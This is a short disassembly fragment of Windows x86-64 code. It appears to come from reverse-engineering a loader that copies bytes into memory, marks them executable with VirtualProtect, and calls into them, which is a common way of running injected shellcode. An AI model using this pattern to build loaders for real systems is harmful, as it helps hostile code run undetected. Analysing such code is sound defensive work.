mov rcx, qword [rsp + 0x30]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x28]
call fcn.1400039b0
mov rax, qword [rsp + 0x38]
add rax, 0x1000
call rax
jmp 0x140001b7b
lea r9, [rsp + 0x44]
mov r8d, 0x20
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x88
pop rdi
pop rsi
ret